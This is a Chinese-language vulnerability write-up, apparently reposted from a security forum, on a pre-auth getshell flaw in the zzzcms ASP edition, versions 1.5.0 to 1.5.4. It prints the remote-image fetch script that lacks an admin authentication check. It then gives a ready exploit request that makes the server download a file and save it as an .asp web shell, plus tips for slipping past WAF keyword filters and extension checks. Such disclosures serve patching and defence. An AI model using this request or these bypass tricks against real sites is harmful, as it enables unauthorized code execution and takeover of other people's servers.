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154 lines
5.0 KiB
Markdown
154 lines
5.0 KiB
Markdown
# zzzcms(asp)前台Getshell
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zzzcms > 1.5版本后台添加了/inc/webuploader/目录 参照Ueditor功能
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问题文件/admin{}/inc/webuploader/getremoteimage.asp(1.5.0版本)
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```asp
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<!--#include file="../../../inc/zzz_class.asp"-->
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<%
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dim remotestr,remotepic,remotesplit,j,newpath,newpicname,newimg,newimgs,upfolder,parentPath
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upfolder=getform("upfolder","both")
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if isnul(upfolder) then
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parentPath=sitepath&upLoadPath
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else
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parentPath=sitepath&upLoadPath&upfolder&"/"
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end if
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remotestr =Trim(Request("file"))
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remotestr=replace(remotestr,"&" , "&")
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remotestr=remotestr
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remotestr=remotestr&"ue_separate_ue"
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remotesplit=split(remotestr,"ue_separate_ue")
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newpath=parentPath&DateFormat(now,"yymmdd")&"/"
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NewFolder newpath
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for j=0 to ubound(remotesplit)-1
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newpicname=getrndname()&GetFileExt(remotesplit(j))
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newimg=SaveRemoteFile(newpath&newpicname,remotesplit(j))
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if waterMark=1 then waterMarkImg newimg
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newimgs=newimgs&newimg&"ue_separate_ue"
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next
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if remotestr<>"" then
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if right(newimgs,len("ue_separate_ue"))="ue_separate_ue" then newimgs=left(newimgs,len(newimgs)-len("ue_separate_ue"))
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end if
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response.Write "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
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function getfileExt(filename)
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if filename="" then getfileExt=".jpg" : exit function
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getfileExt=mid(filename,InStrRev(filename,"."),len(filename))'获取文件扩展名
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end function
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'==================================================
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'过程名：SaveRemoteFile
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'作 用：保存远程的文件到本地
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'参 数：LocalFileName ------ 本地文件名
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'参 数：RemoteFileUrl ------ 远程文件URL
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'==================================================
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function SaveRemoteFile(LocalFileName,RemoteFileUrl)
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On Error Resume Next
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dim Ads,Retrieval,GetRemoteData
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Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
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With Retrieval
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.Open "Get", RemoteFileUrl, False, "", ""
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.Send
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GetRemoteData = .ResponseBody
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End With
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Set Retrieval = Nothing
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Set Ads = Server.CreateObject("Adodb.Stream")
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With Ads
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.Type = 1
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.Open
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.Write GetRemoteData
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.SaveToFile server.MapPath(LocalFileName),2
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.Cancel()
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.Close()
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End With
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Set Ads=nothing
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SaveRemoteFile=LocalFileName
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end function
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'判断远程图片是否存在
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function CheckURL(byval A_strUrl)
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On Error Resume Next
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set XMLHTTP = Server.CreateObject("Microsoft.XMLHTTP")
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XMLHTTP.open "HEAD",A_strUrl,false
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XMLHTTP.send()
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CheckURL=(XMLHTTP.status=200)
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set XMLHTTP = nothing
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end function
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%>
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```
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对比后台所有文件缺失了后台权限验证包含
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```
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<!--#include file="../../../inc/zzz_admin.asp" -->
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```
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问题文件/admin{}/inc/webuploader/getremoteimage.asp(1.5.4版本)
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```asp
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<!--#include file="../../../inc/zzz_class.asp"-->
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<%
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dim remotestr,remotepic,remotesplit,j,newpath,newpicname,newimg,newimgs,upfolder,parentPath
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upfolder=getform("upfolder","both")
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if isnul(upfolder) then
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parentPath=sitepath&upLoadPath
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else
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parentPath=sitepath&upLoadPath&upfolder&"/"
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end if
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remotestr =Trim(Request("file"))
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remotestr=replace(remotestr,"&" , "&")
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remotestr=remotestr
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remotestr=remotestr&"ue_separate_ue"
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remotesplit=split(remotestr,"ue_separate_ue")
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newpath=parentPath&DateFormat(now,"yymmdd")&"/"
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NewFolder newpath
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for j=0 to ubound(remotesplit)-1
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newpicname=getrndname()&"."&GetFileExt(remotesplit(j))
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newimg=SaveRemoteFile(newpath&newpicname,remotesplit(j))
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if waterMark=1 then waterMarkImg newimg
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newimgs=newimgs&newimg&"ue_separate_ue"
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next
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remotestr=endstr(remotestr,"ue_separate_ue")
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echo "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
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%>
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```
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看到这段自定义的echo
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```
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echo "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
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```
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可以猜测PHP开发者参照ASP.NET的Ueditor写出了ASP的代码
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EXP:
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```
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POST:
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/{admin}/inc/webuploader/getremoteimage.asp
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file=http://target.com/*.gif?.asp
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```
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SHELL在返回包
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影响版本zzzcms(ASP)1.5.0/1.5.1/1.5.2/1.5.3/1.5.4
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值得一提的是zzzcms ASP版安装完成后默认后台为随机
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想要利用需要获得后台地址/admin{随机目录}/inc/webuploader/getremoteimage.asp
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测试发现这个随机后台是个摆设 有兴趣的可以研究研究
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一些tips:
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```
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.txt?.a*sp.a*sp有时候抓取不到 得先传图片马到他本地再抓本机还有的只能抓https 不支持http
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其实不光?可以 *也可以 基本上给予关键词拦截的waf 用星号都可以绕过
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q:新年快乐，流光师傅。 测试了下txt能post上去，asp后缀无法直接po上去，请问怎么突破。
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a:.txt?.asp
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```
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注：原文地址：https://www.t00ls.net/articles-59726.html 作者：@[赢时胜流光](https://www.t00ls.net/members-profile-12455.html)
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欢迎大家投稿吐司！
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